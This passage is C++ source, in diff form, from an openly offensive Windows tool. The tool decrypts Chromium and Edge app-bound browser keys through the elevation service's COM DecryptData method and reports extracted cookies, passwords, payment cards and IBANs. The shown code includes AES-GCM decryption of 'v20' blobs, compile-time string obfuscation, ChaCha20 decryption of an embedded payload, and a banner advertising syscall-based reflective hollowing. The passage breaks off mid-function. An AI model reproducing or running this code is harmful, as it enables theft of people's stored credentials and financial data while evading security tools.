virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
|
||||
};
|
||||
|
||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder {
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
|
||||
IEdgeElevatorFinal : public IEdgeIntermediateElevator{};
|
||||
|
||||
class Elevator {
|
||||
public:
|
||||
Elevator();
|
||||
~Elevator();
|
||||
|
||||
std::vector<uint8_t> DecryptKey(const std::vector<uint8_t>& encryptedKey, const CLSID& clsid, const IID& iid, bool isEdge);
|
||||
|
||||
private:
|
||||
bool m_initialized;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <memory>
|
||||
#include <stdexcept>
|
||||
#include <filesystem>
|
||||
|
||||
namespace Core {
|
||||
|
||||
using Byte = uint8_t;
|
||||
using Bytes = std::vector<Byte>;
|
||||
|
||||
// RAII wrapper for HANDLE
|
||||
struct HandleDeleter {
|
||||
void operator()(HANDLE h) const {
|
||||
if (h && h != INVALID_HANDLE_VALUE) CloseHandle(h);
|
||||
}
|
||||
};
|
||||
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
|
||||
using HandlePtr = UniqueHandle;
|
||||
|
||||
// RAII wrapper for HMODULE
|
||||
struct ModuleDeleter {
|
||||
void operator()(HMODULE h) const {
|
||||
if (h) FreeLibrary(h);
|
||||
}
|
||||
};
|
||||
using UniqueModule = std::unique_ptr<std::remove_pointer<HMODULE>::type, ModuleDeleter>;
|
||||
|
||||
// Constants
|
||||
constexpr uint32_t TIMEOUT_MS = 60000;
|
||||
|
||||
// Helper to convert wstring to string (UTF-8)
|
||||
inline std::string ToUtf8(std::wstring_view wstr) {
|
||||
if (wstr.empty()) return {};
|
||||
int size = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), nullptr, 0, nullptr, nullptr);
|
||||
std::string result(size, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), &result[0], size, nullptr, nullptr);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Helper to convert string to wstring
|
||||
inline std::wstring ToWide(std::string_view str) {
|
||||
if (str.empty()) return {};
|
||||
int size = MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), nullptr, 0);
|
||||
std::wstring result(size, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), &result[0], size);
|
||||
return result;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,179 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <iomanip>
|
||||
#include <vector>
|
||||
#include "version.hpp"
|
||||
|
||||
namespace Core {
|
||||
|
||||
class Console {
|
||||
public:
|
||||
explicit Console(bool verbose) : m_verbose(verbose) {
|
||||
m_hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(m_hConsole, &csbi);
|
||||
m_origAttrs = csbi.wAttributes;
|
||||
}
|
||||
|
||||
~Console() {
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
|
||||
// Standard log messages (for syscall init, errors, etc - outside browser box)
|
||||
void Info(const std::string& msg) const {
|
||||
Print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
}
|
||||
void Success(const std::string& msg) const {
|
||||
Print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
}
|
||||
void Error(const std::string& msg) const {
|
||||
Print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
}
|
||||
void Warn(const std::string& msg) const {
|
||||
Print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
}
|
||||
|
||||
// Debug messages - inside the browser box, connected to tree
|
||||
void Debug(const std::string& msg) const {
|
||||
if (m_verbose) {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xB3 ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::cout << msg << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
}
|
||||
|
||||
// Browser section header with box drawing
|
||||
void BrowserHeader(const std::string& name) const {
|
||||
std::cout << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xDA\xC4\xC4\xC4\xC4 ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::cout << name;
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4\xC4" << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
|
||||
// AES Key display
|
||||
void KeyDecrypted(const std::string& keyHex) const {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xB3" << std::endl;
|
||||
std::cout << " \xB3 ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::cout << "Decryption Key" << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xB3 ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::cout << keyHex << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
|
||||
// Profile section header
|
||||
void ProfileHeader(const std::string& name) const {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xB3" << std::endl;
|
||||
std::cout << " \xC3\xC4\xC4 ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::cout << name << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
|
||||
// Verbose data row (only shown in verbose mode)
|
||||
void DataRow(const std::string& key, const std::string& value) const {
|
||||
if (m_verbose) {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xB3 ";
|
||||
std::cout << std::left << std::setw(12) << key;
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::cout << value << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
}
|
||||
|
||||
// Extraction result (always shown)
|
||||
void ExtractionResult(const std::string& type, int count, int total = -1) const {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xB3 ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::cout << std::left << std::setw(12) << type;
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::cout << count;
|
||||
if (total > 0 && total != count) {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << "/" << total;
|
||||
}
|
||||
std::cout << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
|
||||
// Summary line
|
||||
void Summary(int cookies, int passwords, int cards, int ibans, int profiles, const std::string& outputPath) const {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " \xB3" << std::endl;
|
||||
std::cout << " \xC0\xC4\xC4 ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
|
||||
std::vector<std::string> parts;
|
||||
if (cookies > 0) parts.push_back(std::to_string(cookies) + " cookies");
|
||||
if (passwords > 0) parts.push_back(std::to_string(passwords) + " passwords");
|
||||
if (cards > 0) parts.push_back(std::to_string(cards) + " cards");
|
||||
if (ibans > 0) parts.push_back(std::to_string(ibans) + " IBANs");
|
||||
|
||||
for (size_t i = 0; i < parts.size(); i++) {
|
||||
std::cout << parts[i];
|
||||
if (i < parts.size() - 1) std::cout << ", ";
|
||||
}
|
||||
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " (" << profiles << " profile" << (profiles != 1 ? "s" : "") << ")" << std::endl;
|
||||
|
||||
std::cout << " ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::cout << outputPath << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
|
||||
void Banner() const {
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
std::cout << R"(
|
||||
_________ .__ ___________.__ __
|
||||
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
|
||||
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
|
||||
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
|
||||
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
|
||||
\/ \/ \/ \/ \/ \/
|
||||
)";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " Direct Syscall-Based Reflective Hollowing" << std::endl;
|
||||
std::cout << " x64 & ARM64 | ";
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::cout << Core::BUILD_TAG;
|
||||
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << " by @xaitax" << std::endl;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
}
|
||||
|
||||
bool IsVerbose() const { return m_verbose; }
|
||||
|
||||
private:
|
||||
void Print(const std::string& tag, const std::string& msg, WORD color) const {
|
||||
SetConsoleTextAttribute(m_hConsole, color);
|
||||
std::cout << tag;
|
||||
SetConsoleTextAttribute(m_hConsole, m_origAttrs);
|
||||
std::cout << " " << msg << std::endl;
|
||||
}
|
||||
|
||||
HANDLE m_hConsole;
|
||||
WORD m_origAttrs;
|
||||
bool m_verbose;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
#include <array>
|
||||
#include "version.hpp"
|
||||
|
||||
namespace Core {
|
||||
|
||||
namespace detail {
|
||||
// Compile-time FNV-1a for key generation
|
||||
constexpr uint64_t fnv1a_64(const char* str, size_t len) {
|
||||
uint64_t hash = 14695981039346656037ULL;
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
hash ^= static_cast<uint64_t>(str[i]);
|
||||
hash *= 1099511628211ULL;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Build-specific seed from version + date
|
||||
constexpr uint64_t BUILD_KEY = fnv1a_64(__DATE__, 11) ^ fnv1a_64(Core::BUILD_TAG, 7);
|
||||
|
||||
// Generate position-dependent key byte
|
||||
constexpr uint8_t key_byte(size_t pos, uint64_t seed) {
|
||||
uint64_t mixed = seed ^ (pos * 0x9E3779B97F4A7C15ULL);
|
||||
mixed ^= mixed >> 33;
|
||||
mixed *= 0xFF51AFD7ED558CCDULL;
|
||||
mixed ^= mixed >> 33;
|
||||
return static_cast<uint8_t>(mixed);
|
||||
}
|
||||
}
|
||||
|
||||
template<size_t N>
|
||||
class ObfuscatedString {
|
||||
public:
|
||||
// Compile-time constructor - encrypts the string
|
||||
constexpr ObfuscatedString(const char (&str)[N], uint64_t seed) : m_seed(seed) {
|
||||
for (size_t i = 0; i < N; ++i) {
|
||||
m_data[i] = str[i] ^ detail::key_byte(i, seed);
|
||||
}
|
||||
}
|
||||
|
||||
// Runtime decryption - returns the original string
|
||||
const char* c_str() const {
|
||||
// Decrypt into thread-local buffer
|
||||
thread_local char buffer[N];
|
||||
for (size_t i = 0; i < N; ++i) {
|
||||
buffer[i] = m_data[i] ^ detail::key_byte(i, m_seed);
|
||||
}
|
||||
return buffer;
|
||||
}
|
||||
|
||||
// Get decrypted string and store in provided buffer
|
||||
void decrypt_to(char* buffer) const {
|
||||
for (size_t i = 0; i < N; ++i) {
|
||||
buffer[i] = m_data[i] ^ detail::key_byte(i, m_seed);
|
||||
}
|
||||
}
|
||||
|
||||
constexpr size_t size() const { return N - 1; }
|
||||
|
||||
private:
|
||||
std::array<char, N> m_data{};
|
||||
uint64_t m_seed;
|
||||
};
|
||||
|
||||
// Helper to create obfuscated string with unique seed per call site
|
||||
template<size_t N>
|
||||
constexpr auto make_obfuscated(const char (&str)[N], uint64_t line_seed) {
|
||||
return ObfuscatedString<N>(str, detail::BUILD_KEY ^ line_seed);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Macro that creates unique seed from line number
|
||||
#define OBF(str) (::Core::make_obfuscated(str, __LINE__ * 0x85EBCA77C2B2AE63ULL))
|
||||
|
||||
// For wide strings
|
||||
#define WOBF(str) (::Core::make_obfuscated_w(str, __LINE__ * 0x85EBCA77C2B2AE63ULL))
|
||||
@@ -0,0 +1,14 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
namespace Core {
|
||||
|
||||
// Main version string - shown in banner
|
||||
constexpr const char* VERSION = "0.17.0";
|
||||
|
||||
// Full version for build identification (update for releases)
|
||||
constexpr const char* BUILD_TAG = "v0.17.0";
|
||||
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "aes_gcm.hpp"
|
||||
#include <memory>
|
||||
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
namespace Crypto {
|
||||
|
||||
std::optional<std::vector<uint8_t>> AesGcm::Decrypt(const std::vector<uint8_t>& key, const std::vector<uint8_t>& encryptedData) {
|
||||
// Format: v20 + IV(12) + Ciphertext + Tag(16)
|
||||
constexpr size_t PREFIX_LEN = 3; // "v20"
|
||||
constexpr size_t IV_LEN = 12;
|
||||
constexpr size_t TAG_LEN = 16;
|
||||
constexpr size_t OVERHEAD = PREFIX_LEN + IV_LEN + TAG_LEN;
|
||||
|
||||
if (encryptedData.size() < OVERHEAD) return std::nullopt;
|
||||
if (memcmp(encryptedData.data(), "v20", PREFIX_LEN) != 0) return std::nullopt;
|
||||
|
||||
BCRYPT_ALG_HANDLE hAlg = nullptr;
|
||||
if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) return std::nullopt;
|
||||
|
||||
auto algCloser = [](BCRYPT_ALG_HANDLE h) { if(h) BCryptCloseAlgorithmProvider(h, 0); };
|
||||
std::unique_ptr<void, decltype(algCloser)> algGuard(hAlg, algCloser);
|
||||
|
||||
if (!NT_SUCCESS(BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0))) return std::nullopt;
|
||||
|
||||
BCRYPT_KEY_HANDLE hKey = nullptr;
|
||||
if (!NT_SUCCESS(BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, (PUCHAR)key.data(), (ULONG)key.size(), 0))) return std::nullopt;
|
||||
|
||||
auto keyCloser = [](BCRYPT_KEY_HANDLE h) { if(h) BCryptDestroyKey(h); };
|
||||
std::unique_ptr<void, decltype(keyCloser)> keyGuard(hKey, keyCloser);
|
||||
|
||||
const uint8_t* iv = encryptedData.data() + PREFIX_LEN;
|
||||
const uint8_t* tag = encryptedData.data() + (encryptedData.size() - TAG_LEN);
|
||||
const uint8_t* ct = iv + IV_LEN;
|
||||
ULONG ctLen = static_cast<ULONG>(encryptedData.size() - OVERHEAD);
|
||||
|
||||
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
||||
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
||||
authInfo.pbNonce = (PUCHAR)iv;
|
||||
authInfo.cbNonce = IV_LEN;
|
||||
authInfo.pbTag = (PUCHAR)tag;
|
||||
authInfo.cbTag = TAG_LEN;
|
||||
|
||||
std::vector<uint8_t> plain(ctLen > 0 ? ctLen : 1);
|
||||
ULONG outLen = 0;
|
||||
|
||||
if (!NT_SUCCESS(BCryptDecrypt(hKey, (PUCHAR)ct, ctLen, &authInfo, nullptr, 0, plain.data(), (ULONG)plain.size(), &outLen, 0))) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
plain.resize(outLen);
|
||||
return plain;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include <bcrypt.h>
|
||||
#include <vector>
|
||||
#include <optional>
|
||||
|
||||
namespace Crypto {
|
||||
|
||||
class AesGcm {
|
||||
public:
|
||||
static std::optional<std::vector<uint8_t>> Decrypt(const std::vector<uint8_t>& key, const std::vector<uint8_t>& encryptedData);
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "chacha20.hpp"
|
||||
#include <cstring>
|
||||
|
||||
namespace Crypto {
|
||||
|
||||
void ChaCha20::Crypt(const uint8_t key[32], const uint8_t nonce[12], std::vector<uint8_t>& data, uint32_t counter) {
|
||||
uint8_t block[64];
|
||||
size_t len = data.size();
|
||||
uint8_t* ptr = data.data();
|
||||
|
||||
while (len > 0) {
|
||||
ProcessBlock(key, nonce, counter++, block);
|
||||
size_t chunk = (len < 64) ? len : 64;
|
||||
for (size_t i = 0; i < chunk; ++i) {
|
||||
ptr[i] ^= block[i];
|
||||
}
|
||||
ptr += chunk;
|
||||
len -= chunk;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t ChaCha20::Rotl(uint32_t x, int n) {
|
||||
return (x << n) | (x >> (32 - n));
|
||||
}
|
||||
|
||||
void ChaCha20::QuarterRound(uint32_t& a, uint32_t& b, uint32_t& c, uint32_t& d) {
|
||||
a += b; d ^= a; d = Rotl(d, 16);
|
||||
c += d; b ^= c; b = Rotl(b, 12);
|
||||
a += b; d ^= a; d = Rotl(d, 8);
|
||||
c += d; b ^= c; b = Rotl(b, 7);
|
||||
}
|
||||
|
||||
void ChaCha20::ProcessBlock(const uint8_t key[32], const uint8_t nonce[12], uint32_t counter, uint8_t output[64]) {
|
||||
uint32_t state[16];
|
||||
|
||||
// Constants "expand 32-byte k"
|
||||
state[0] = 0x61707865;
|
||||
state[1] = 0x3320646e;
|
||||
state[2] = 0x79622d32;
|
||||
state[3] = 0x6b206574;
|
||||
|
||||
// Key
|
||||
auto Load32 = [](const uint8_t* p) -> uint32_t {
|
||||
return (uint32_t)p[0] | ((uint32_t)p[1] << 8) | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
|
||||
};
|
||||
|
||||
for (int i = 0; i < 8; ++i) state[4 + i] = Load32(key + i * 4);
|
||||
|
||||
// Counter
|
||||
state[12] = counter;
|
||||
|
||||
// Nonce
|
||||
for (int i = 0; i < 3; ++i) state[13 + i] = Load32(nonce + i * 4);
|
||||
|
||||
uint32_t working[16];
|
||||
std::memcpy(working, state, sizeof(state));
|
||||
|
||||
for (int i = 0; i < 10; ++i) {
|
||||
QuarterRound(working[0], working[4], working[8], working[12]);
|
||||
QuarterRound(working[1], working[5], working[9], working[13]);
|
||||
QuarterRound(working[2], working[6], working[10], working[14]);
|
||||
QuarterRound(working[3], working[7], working[11], working[15]);
|
||||
QuarterRound(working[0], working[5], working[10], working[15]);
|
||||
QuarterRound(working[1], working[6], working[11], working[12]);
|
||||
QuarterRound(working[2], working[7], working[8], working[13]);
|
||||
QuarterRound(working[3], working[4], working[9], working[14]);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
uint32_t val = working[i] + state[i];
|
||||
output[i * 4 + 0] = val & 0xff;
|
||||
output[i * 4 + 1] = (val >> 8) & 0xff;
|
||||
output[i * 4 + 2] = (val >> 16) & 0xff;
|
||||
output[i * 4 + 3] = (val >> 24) & 0xff;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <vector>
|
||||
|
||||
namespace Crypto {
|
||||
|
||||
class ChaCha20 {
|
||||
public:
|
||||
// Encrypts/Decrypts data in place using ChaCha20
|
||||
// Key: 32 bytes
|
||||
// Nonce: 12 bytes
|
||||
// Counter: Initial block counter (usually 0 or 1)
|
||||
static void Crypt(const uint8_t key[32], const uint8_t nonce[12], std::vector<uint8_t>& data, uint32_t counter = 0);
|
||||
|
||||
private:
|
||||
static void ProcessBlock(const uint8_t key[32], const uint8_t nonce[12], uint32_t counter, uint8_t output[64]);
|
||||
static uint32_t Rotl(uint32_t x, int n);
|
||||
static void QuarterRound(uint32_t& a, uint32_t& b, uint32_t& c, uint32_t& d);
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "../core/common.hpp"
|
||||
#include "chacha20.hpp"
|
||||
#include "key_derivation.hpp"
|
||||
|
||||
namespace Crypto {
|
||||
|
||||
inline bool DecryptPayload(std::vector<uint8_t>& data) {
|
||||
auto keyMaterial = RuntimeKeyProvider::GetPayloadKey();
|
||||
if (!keyMaterial.valid) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ChaCha20::Crypt(keyMaterial.key.data(), keyMaterial.nonce.data(), data, 0);
|
||||
|
||||
// Securely clear key material from memory
|
||||
SecureZeroMemory(keyMaterial.key.data(), keyMaterial.key.size());
|
||||
SecureZeroMemory(keyMaterial.nonce.data(), keyMaterial.nonce.size());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
inline void DecryptPayload(std::vector<uint8_t>& data, const uint8_t key[32], const uint8_t nonce[12]) {
|
||||
ChaCha20::Crypt(key, nonce, data, 0);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <array>
|
||||
#include <cstring>
|
||||
#include "../core/version.hpp"
|
||||
|
||||
namespace Crypto {
|
||||
|
||||
namespace Detail {
|
||||
|
||||
//=====================================================================
|
||||
// Compile-Time Hash Functions
|
||||
//=====================================================================
|
||||
|
||||
constexpr uint64_t FNV_OFFSET = 14695981039346656037ULL;
|
||||
constexpr uint64_t FNV_PRIME = 1099511628211ULL;
|
||||
|
||||
// FNV-1a: Fast, well-distributed hash for strings
|
||||
constexpr uint64_t fnv1a(const char* str, uint64_t hash = FNV_OFFSET) {
|
||||
return (*str == 0) ? hash : fnv1a(str + 1, (hash ^ static_cast<uint64_t>(*str)) * FNV_PRIME);
|
||||
}
|
||||
|
||||
// Bit rotation
|
||||
constexpr uint64_t rotl64(uint64_t x, int k) {
|
||||
return (x << k) | (x >> (64 - k));
|
||||
}
|
||||
|
||||
// MurmurHash3 finalizer: Excellent avalanche properties
|
||||
constexpr uint64_t mix64(uint64_t k) {
|
||||
k ^= k >> 33;
|
||||
k *= 0xFF51AFD7ED558CCDULL;
|
||||
k ^= k >> 33;
|
||||
k *= 0xC4CEB9FE1A85EC53ULL;
|
||||
k ^= k >> 33;
|
||||
return k;
|
||||
}
|
||||
|
||||
//=====================================================================
|
||||
// Build-Time Seed Generation
|
||||
//=====================================================================
|
||||
|
||||
// Primary seed from version.hpp BUILD_TAG + __DATE__
|
||||
// - Changes per release (update version.hpp)
|
||||
// - Changes per daily build (__DATE__ changes)
|
||||
// - Stable within a single make.bat run
|
||||
constexpr uint64_t BUILD_SEED = mix64(
|
||||
fnv1a(Core::BUILD_TAG) ^ rotl64(fnv1a(__DATE__), 17)
|
||||
);
|
||||
|
||||
// Cascade: 6 rounds of mixing for maximum diffusion
|
||||
constexpr uint64_t SEED_1 = mix64(BUILD_SEED ^ 0xDEADBEEFCAFEBABEULL);
|
||||
constexpr uint64_t SEED_2 = mix64(SEED_1 ^ 0x0123456789ABCDEFULL);
|
||||
constexpr uint64_t SEED_3 = mix64(SEED_2 ^ 0xFEDCBA9876543210ULL);
|
||||
constexpr uint64_t SEED_4 = mix64(SEED_3 ^ 0xAAAA5555AAAA5555ULL);
|
||||
constexpr uint64_t SEED_5 = mix64(SEED_4 ^ 0x1111222233334444ULL);
|
||||
constexpr uint64_t SEED_6 = mix64(SEED_5 ^ 0x5555666677778888ULL);
|
||||
|
||||
//=====================================================================
|
||||
// Key Material (constexpr arrays)
|
||||
//=====================================================================
|
||||
|
||||
// 32-byte key from SEED_1..SEED_4
|
||||
|
||||
|
||||
// Helper to extract byte from uint64_t
|
||||
constexpr uint8_t extractByte(uint64_t val, int byteIndex) {
|
||||
return static_cast<uint8_t>((val >> (byteIndex * 8)) & 0xFF);
|
||||
}
|
||||
|
||||
// Compile-time generated key (32 bytes from 4 seeds)
|
||||
constexpr std::array<uint8_t, 32> makeKey() {
|
||||
return {{
|
||||
extractByte(SEED_1, 0), extractByte(SEED_1, 1), extractByte(SEED_1, 2), extractByte(SEED_1, 3),
|
||||
extractByte(SEED_1, 4), extractByte(SEED_1, 5), extractByte(SEED_1, 6), extractByte(SEED_1, 7),
|
||||
extractByte(SEED_2, 0), extractByte(SEED_2, 1), extractByte(SEED_2, 2), extractByte(SEED_2, 3),
|
||||
extractByte(SEED_2, 4), extractByte(SEED_2, 5), extractByte(SEED_2, 6), extractByte(SEED_2, 7),
|
||||
extractByte(SEED_3, 0), extractByte(SEED_3, 1), extractByte(SEED_3, 2), extractByte(SEED_3, 3),
|
||||
extractByte(SEED_3, 4), extractByte(SEED_3, 5), extractByte(SEED_3, 6), extractByte(SEED_3, 7),
|
||||
